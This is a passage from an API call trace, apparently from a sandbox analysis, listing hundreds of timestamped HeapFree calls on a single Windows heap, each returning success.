lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0263.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0263.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0263.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0263.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0263.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0263.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0263.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0263.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0263.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0263.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.822] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.822] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.822] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0263.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0263.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0263.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0263.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0263.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0264.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0264.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0264.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0264.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0264.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0264.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.189] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.189] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0264.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0264.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0264.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0264.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.535] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0264.538] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.581] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0264.582] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.582] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.600] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.696] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.696] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0264.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0264.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.968] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0264.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0264.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0265.016] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0265.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0265.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0265.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0265.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: 